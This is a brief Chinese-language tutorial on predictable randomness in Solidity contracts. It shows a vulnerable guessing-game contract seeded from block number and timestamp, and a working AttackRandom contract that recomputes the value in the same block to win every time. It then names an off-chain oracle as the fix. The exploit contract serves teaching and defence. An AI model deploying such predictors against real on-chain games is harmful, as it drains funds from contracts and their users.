描叙:
智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。
核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。
keccak256(seed)
https://vanity-eth.tk 生成特定的地址
pragma solidity ^0.4.24;
contract RandomGame{
mapping (address => uint256) public balances;
event LuckyLog(uint lucky_number, uint guess);
function lucky(uint256 guess) public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
if(lucky_number == guess){
balances[msg.sender] += 1000;
}
emit LuckyLog(lucky_number,guess);
return lucky_number;
}
}
漏洞点:使用了不安全的block.number做为随机数的种子,导致随机数可以被预测,攻击者可以在合约中进行预测,造成一定损失。
pragma solidity ^0.4.24;
contract RandomGame{
mapping (address => uint256) public balances;
event LuckyLog(uint lucky_number, uint guess);
function lucky(uint256 guess) public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
if(lucky_number == guess){
balances[msg.sender] += 1000;
}
emit LuckyLog(lucky_number,guess);
return lucky_number;
}
}
contract AttackRandom{
RandomGame rg;
function setTarget(address _addr) public {
rg=RandomGame(_addr);
}
function attack() public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
rg.lucky(lucky_number);
return lucky_number;
}
}
使用Oraclize提供的一个合约接口库,可以通过链下off-chain的数据流推送data-feed来提供与链状态无关的随机数